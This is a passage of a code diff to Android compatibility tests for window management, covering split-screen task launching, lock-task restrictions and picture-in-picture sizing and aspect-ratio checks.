+                mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
+        separateTestJournal();
+        mTaskOrganizer.dismissedSplitScreen();
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
+            final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+                    NO_RELAUNCH_ACTIVITY);
+            assertEquals(1,
+                    lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        } else {
+            // Display is not a fullscreen display, so there won't be a multi-window callback.
+            // Instead just verify that windows are not in split-screen anymore.
+            waitForIdle();
+            mWmState.computeState();
+            mWmState.assertDoesNotContainStack("Must have exited split-screen",
+                    WINDOWING_MODE_MULTI_WINDOW, ACTIVITY_TYPE_STANDARD);
+        }
+    }
+
+    @Test
+    public void testNoUserLeaveHintOnMultiWindowModeChanged() {
+        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+        // Move to primary split.
+        separateTestJournal();
+        putActivityInPrimarySplit(NO_RELAUNCH_ACTIVITY);
+
+        ActivityLifecycleCounts lifecycleCounts =
+                waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        assertEquals("mUserLeaveHintCount",
+                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+
+        // Make sure primary split is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        putActivityInSecondarySplit(LAUNCHING_ACTIVITY);
+
+        launchActivity(NO_RELAUNCH_ACTIVITY);
+
+        // Move activities back to fullscreen screen.
+        separateTestJournal();
+        mTaskOrganizer.dismissedSplitScreen();
+
+        lifecycleCounts = waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        assertEquals("mUserLeaveHintCount",
+                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+    }
+
+    @Test
+    public void testLaunchToSideAndBringToFront() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY);
+
+        // Launch another activity to side to cover first one.
+        launchActivityInSecondarySplit(NO_RELAUNCH_ACTIVITY);
+        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                NO_RELAUNCH_ACTIVITY);
+
+        // Launch activity that was first launched to side. It should be brought to front.
+        launchActivity(TEST_ACTIVITY);
+        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchToSideMultiple() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        // Try to launch to side same activity again.
+        launchActivity(TEST_ACTIVITY);
+        mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
+        final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+        assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+        mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchToSideSingleInstance() {
+        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
+    }
+
+    @Test
+    public void testLaunchToSideSingleTask() {
+        launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
+    }
+
+    @Test
+    public void testLaunchToSideMultipleWithDifferentIntent() {
+        launchTargetToSide(TEST_ACTIVITY, true);
+    }
+
+    private void launchTargetToSide(ComponentName targetActivityName,
+            boolean taskCountMustIncrement) {
+        launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
+
+        // Launch target to side
+        final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
+                .setTargetActivity(targetActivityName)
+                .setToSide(true)
+                .setRandomData(true)
+                .setMultipleTask(false);
+        targetActivityLauncher.execute();
+        final int secondaryTaskId = mWmState.getTaskByActivity(targetActivityName).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+        final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        // Try to launch to side same activity again with different data.
+        targetActivityLauncher.execute();
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+
+        WindowManagerState.ActivityTask task = mWmState.getTaskByActivity(targetActivityName,
+                secondaryTaskId);
+        int secondaryTaskId2 = INVALID_TASK_ID;
+        if (task != null) {
+            secondaryTaskId2 = mWmState.getTaskByActivity(targetActivityName,
+                    secondaryTaskId).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId2);
+        }
+        final int taskNumberSecondLaunch = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+                    taskNumberSecondLaunch);
+        } else {
+            assertEquals("Task number must not change.", taskNumberInitial,
+                    taskNumberSecondLaunch);
+        }
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+
+        // Try to launch to side same activity again with different random data. Note that null
+        // cannot be used here, since the first instance of TestActivity is launched with no data
+        // in order to launch into split screen.
+        targetActivityLauncher.execute();
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+        WindowManagerState.ActivityTask taskFinal =
+                mWmState.getTaskByActivity(targetActivityName, secondaryTaskId2);
+        if (taskFinal != null) {
+            int secondaryTaskId3 = mWmState.getTaskByActivity(targetActivityName,
+                    secondaryTaskId2).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId3);
+        }
+        final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+                    taskNumberFinal);
+        } else {
+            assertEquals("Task number must not change.", taskNumberSecondLaunch,
+                    taskNumberFinal);
+        }
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+    }
+
+    @Test
+    public void testLaunchToSideMultipleWithFlag() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder()
+                        .setTargetActivity(TEST_ACTIVITY),
+                getLaunchActivityBuilder()
+                        // Try to launch to side same activity again,
+                        // but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+                        .setMultipleTask(true)
+                        .setTargetActivity(TEST_ACTIVITY));
+        assertTrue("Primary split must contain TEST_ACTIVITY",
+                mWmState.getRootTask(mTaskOrganizer.getPrimarySplitTaskId())
+                        .containsActivity(TEST_ACTIVITY)
+        );
+
+        assertTrue("Secondary split must contain TEST_ACTIVITY",
+                mWmState.getRootTask(mTaskOrganizer.getSecondarySplitTaskId())
+                        .containsActivity(TEST_ACTIVITY)
+                );
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testSameProcessActivityResumedPreQ() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
+
+        assertEquals("There must be only one resumed activity in the package.", 1,
+                mWmState.getResumedActivitiesCountInPackage(
+                        SDK_27_TEST_ACTIVITY.getPackageName()));
+    }
+
+    @Test
+    public void testDifferentProcessActivityResumedPreQ() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
+
+        assertEquals("There must be only two resumed activities in the package.", 2,
+                mWmState.getResumedActivitiesCountInPackage(
+                        SDK_27_TEST_ACTIVITY.getPackageName()));
+    }
+
+    @Test
+    public void testDisallowUpdateWindowingModeWhenInLockedTask() {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        final WindowManagerState.ActivityTask task =
+                mWmState.getStandardRootTaskByWindowingMode(
+                        WINDOWING_MODE_FULLSCREEN).getTopTask();
+
+        try {
+            // Lock the task
+            runWithShellPermission(() -> mAtm.startSystemLockTaskMode(task.mTaskId));
+            waitForOrFail("Fail to enter locked task mode", () ->
+                    mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE);
+
+            // Verify specifying non-fullscreen windowing mode will fail.
+            boolean exceptionThrown = false;
+            try {
+                runWithShellPermission(() -> {
+                    final WindowContainerTransaction wct = new WindowContainerTransaction()
+                            .setWindowingMode(
+                                    mTaskOrganizer.getTaskInfo(task.mTaskId).getToken(),
+                                    WINDOWING_MODE_MULTI_WINDOW);
+                    mTaskOrganizer.applyTransaction(wct);
+                });
+            } catch (UnsupportedOperationException e) {
+                exceptionThrown = true;
+            }
+            assertTrue("Not allowed to specify windowing mode while in locked task mode.",
+                    exceptionThrown);
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
+    @Test
+    public void testDisallowHierarchyOperationWhenInLockedTask() {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW);
+        final WindowManagerState.ActivityTask task = mWmState
+                .getStandardRootTaskByWindowingMode(WINDOWING_MODE_FULLSCREEN).getTopTask();
+        final WindowManagerState.ActivityTask root = mWmState
+                .getStandardRootTaskByWindowingMode(WINDOWING_MODE_MULTI_WINDOW).getTopTask();
+
+        try {
+            // Lock the task
+            runWithShellPermission(() -> {
+                mAtm.startSystemLockTaskMode(task.mTaskId);
+            });
+            waitForOrFail("Fail to enter locked task mode", () ->
+                    mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE);
+
+            boolean gotAssertionError = false;
+            try {
+                runWithShellPermission(() -> {
+                    // Fetch tokens of testing task and multi-window root.
+                    final WindowContainerToken multiWindowRoot =
+                            mTaskOrganizer.getTaskInfo(root.mTaskId).getToken();
+                    final WindowContainerToken testChild =
+                            mTaskOrganizer.getTaskInfo(task.mTaskId).getToken();
+
+                    // Verify performing reparent operation is no operation.
+                    final WindowContainerTransaction wct = new WindowContainerTransaction()
+                            .reparent(testChild, multiWindowRoot, true /* onTop */);
+                    mTaskOrganizer.applyTransaction(wct);
+                    waitForOrFail("Fail to reparent", () ->
+                            mTaskOrganizer.getTaskInfo(task.mTaskId).getParentTaskId()
+                                    == root.mTaskId);
+                });
+            } catch (AssertionError e) {
+                gotAssertionError = true;
+            }
+            assertTrue("Not allowed to perform hierarchy operation while in locked task mode.",
+                    gotAssertionError);
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
+    /**
+     * Asserts that the activity is visible when the top opaque activity finishes and with another
+     * translucent activity on top while in split-screen-secondary task.
+     */
+    @Test
+    public void testVisibilityWithTranslucentAndTopFinishingActivity() {
+        // Launch two activities in split-screen mode.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
+
+        // Launch two more activities on a different task on top of split-screen-secondary and
+        // only the top opaque activity should be visible.
+        getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
+        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
+        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
+
+        // Finish the top opaque activity and both the two activities should be visible.
+        mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
+        mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
+        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
+        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
index 40c2d86..93f581c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -16,10 +16,10 @@
 
 package android.server.wm;
 
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.server.wm.StateLogger.log;
 import static android.server.wm.DialogFrameTestActivity.EXTRA_TEST_CASE;
+import static android.server.wm.StateLogger.log;
+
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.content.ComponentName;
@@ -42,7 +42,8 @@
 
     private void startTestCaseDocked(String testCase) throws Exception {
         startTestCase(testCase);
-        setActivityTaskWindowingMode(activityName(), WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        mWmState.computeState(activityName());
+        putActivityInPrimarySplit(activityName());
     }
 
     abstract ComponentName activityName();
@@ -67,9 +68,9 @@
         doSingleTest(t);
         activityRule().finishActivity();
 
-        mWmState.waitForWithAmState(amState -> !amState.containsStack(
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD),
-                "docked stack to be removed");
+        mWmState.waitFor(wmState -> !wmState.containsActivity(activityName()),
+                "activity must be removed");
+        assertTrue(mTaskOrganizer.getPrimarySplitTaskCount() == 0);
     }
 
     void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 3f183ac..4fc4c3a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -17,13 +17,14 @@
 package android.server.wm;
 
 import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.wm.CliIntentExtra.extraBool;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.UiDeviceUtils.pressWindowButton;
@@ -32,9 +33,9 @@
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.WindowManagerState.dpToPx;
 import static android.server.wm.app.Components.ALWAYS_FOCUSABLE_PIP_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCH_ENTER_PIP_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY;
+import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
 import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.PIP_ACTIVITY;
 import static android.server.wm.app.Components.PIP_ACTIVITY2;
@@ -46,6 +47,7 @@
 import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
 import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
 import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ALLOW_AUTO_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
@@ -54,6 +56,8 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
 import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
+import static android.server.wm.app.Components.PipActivity.EXTRA_NUMBER_OF_CUSTOM_ACTIONS;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
 import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_DENOMINATOR;
@@ -73,9 +77,11 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.lessThan;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertThat;
@@ -84,6 +90,9 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.ActivityTaskManager;
+import android.app.PictureInPictureParams;
+import android.app.TaskInfo;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ActivityInfo;
@@ -104,8 +113,6 @@
 import android.util.Log;
 import android.util.Size;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -161,49 +168,41 @@
     }
 
     @Test
-    public void testMinimumDeviceSize() throws Exception {
-        mWmState.assertDeviceDefaultDisplaySize(
+    public void testMinimumDeviceSize() {
+        mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
                 "Devices supporting picture-in-picture must be larger than the default minimum"
                         + " task size");
     }
 
     @Test
-    public void testEnterPictureInPictureMode() throws Exception {
-        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"),
-                PIP_ACTIVITY, PIP_ACTIVITY, false /* moveTopToPinnedStack */,
-                false /* isFocusable */);
-    }
-
-    @Test
-    public void testMoveTopActivityToPinnedStack() throws Exception {
-        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY, PIP_ACTIVITY,
-                true /* moveTopToPinnedStack */, false /* isFocusable */);
+    public void testEnterPictureInPictureMode() {
+        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true")),
+                PIP_ACTIVITY, PIP_ACTIVITY, false /* isFocusable */);
     }
 
     // This test is black-listed in cts-known-failures.xml (b/35314835).
     @Ignore
     @Test
-    public void testAlwaysFocusablePipActivity() throws Exception {
+    public void testAlwaysFocusablePipActivity() {
         pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
                 ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
-                false /* moveTopToPinnedStack */, true /* isFocusable */);
+                true /* isFocusable */);
     }
 
     // This test is black-listed in cts-known-failures.xml (b/35314835).
     @Ignore
     @Test
-    public void testLaunchIntoPinnedStack() throws Exception {
+    public void testLaunchIntoPinnedStack() {
         pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
                 LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
-                false /* moveTopToPinnedStack */, true /* isFocusable */);
+                true /* isFocusable */);
     }
 
     @Test
-    public void testNonTappablePipActivity() throws Exception {
+    public void testNonTappablePipActivity() {
         // Launch the tap-to-finish activity at a specific place
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_TAP_TO_FINISH, "true"));
         // Wait for animation complete since we are tapping on specific bounds
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -223,9 +222,8 @@
         // Launch an activity that is not fixed-orientation so that the display can rotate
         launchActivity(TEST_ACTIVITY);
         // Launch an activity into the pinned stack
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_TAP_TO_FINISH, "true"));
         // Wait for animation complete since we are comparing bounds
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
 
@@ -242,13 +240,13 @@
     }
 
     @Test
-    public void testEnterPipToOtherOrientation() throws Exception {
+    public void testEnterPipToOtherOrientation() {
         // Launch a portrait only app on the fullscreen stack
         launchActivity(TEST_ACTIVITY,
-                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT));
+                extraString(EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT)));
         // Launch the PiP activity fixed as landscape
         launchActivity(PIP_ACTIVITY,
-                EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE));
+                extraString(EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE)));
         // Enter PiP, and assert that the PiP is within bounds now that the device is back in
         // portrait
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
@@ -261,7 +259,7 @@
     @Test
     public void testEnterPipWithMinimalSize() throws Exception {
         // Launch a PiP activity with minimal size specified
-        launchActivity(PIP_ACTIVITY_WITH_MINIMAL_SIZE, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY_WITH_MINIMAL_SIZE, extraString(EXTRA_ENTER_PIP, "true"));
         // Wait for animation complete since we are comparing size
         waitForEnterPipAnimationComplete(PIP_ACTIVITY_WITH_MINIMAL_SIZE);
         assertPinnedStackExists();
@@ -274,7 +272,7 @@
 
         // compare the bounds with minimal size
         final Rect pipBounds = getPinnedStackBounds();
-        assertTrue("Pinned stack bounds is no smaller than minimal",
+        assertTrue("Pinned task bounds " + pipBounds + " isn't smaller than minimal " + minSize,
                 (pipBounds.width() == minSize.getWidth()
                         && pipBounds.height() >= minSize.getHeight())
                         || (pipBounds.height() == minSize.getHeight()
@@ -283,9 +281,9 @@
 
     @Test
     @SecurityTest(minPatchLevel="2021-03")
-    public void testEnterPipWithTinyMinimalSize() throws Exception {
+    public void testEnterPipWithTinyMinimalSize() {
         // Launch a PiP activity with minimal size specified and smaller than allowed minimum
-        launchActivity(PIP_ACTIVITY_WITH_TINY_MINIMAL_SIZE, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY_WITH_TINY_MINIMAL_SIZE, extraString(EXTRA_ENTER_PIP, "true"));
         // Wait for animation complete since we are comparing size
         waitForEnterPipAnimationComplete(PIP_ACTIVITY_WITH_TINY_MINIMAL_SIZE);
         assertPinnedStackExists();
@@ -306,23 +304,23 @@
     }
 
     @Test
-    public void testEnterPipAspectRatioMin() throws Exception {
+    public void testEnterPipAspectRatioMin() {
         testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
     }
 
     @Test
-    public void testEnterPipAspectRatioMax() throws Exception {
+    public void testEnterPipAspectRatioMax() {
         testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
     }
 
-    private void testEnterPipAspectRatio(int num, int denom) throws Exception {
+    private void testEnterPipAspectRatio(int num, int denom) {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         // Wait for animation complete since we are comparing aspect ratio
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -334,23 +332,23 @@
     }
 
     @Test
-    public void testResizePipAspectRatioMin() throws Exception {
+    public void testResizePipAspectRatioMin() {
         testResizePipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
     }
 
     @Test
-    public void testResizePipAspectRatioMax() throws Exception {
+    public void testResizePipAspectRatioMax() {
         testResizePipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
     }
 
-    private void testResizePipAspectRatio(int num, int denom) throws Exception {
+    private void testResizePipAspectRatio(int num, int denom) {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         // Wait for animation complete since we are comparing aspect ratio
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -360,55 +358,55 @@
     }
 
     @Test
-    public void testEnterPipExtremeAspectRatioMin() throws Exception {
+    public void testEnterPipExtremeAspectRatioMin() {
         testEnterPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
                 BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
     }
 
     @Test
-    public void testEnterPipExtremeAspectRatioMax() throws Exception {
+    public void testEnterPipExtremeAspectRatioMax() {
         testEnterPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
                 MAX_ASPECT_RATIO_DENOMINATOR);
     }
 
-    private void testEnterPipExtremeAspectRatio(int num, int denom) throws Exception {
+    private void testEnterPipExtremeAspectRatio(int num, int denom) {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         // Assert that we could not create a pinned stack with an extreme aspect ratio
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         assertPinnedStackDoesNotExist();
     }
 
     @Test
-    public void testSetPipExtremeAspectRatioMin() throws Exception {
+    public void testSetPipExtremeAspectRatioMin() {
         testSetPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
                 BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
     }
 
     @Test
-    public void testSetPipExtremeAspectRatioMax() throws Exception {
+    public void testSetPipExtremeAspectRatioMax() {
         testSetPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
                 MAX_ASPECT_RATIO_DENOMINATOR);
     }
 
-    private void testSetPipExtremeAspectRatio(int num, int denom) throws Exception {
+    private void testSetPipExtremeAspectRatio(int num, int denom) {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         // Try to resize the a normal pinned stack to an extreme aspect ratio and ensure that
         // fails (the aspect ratio remains the same)
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
-                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
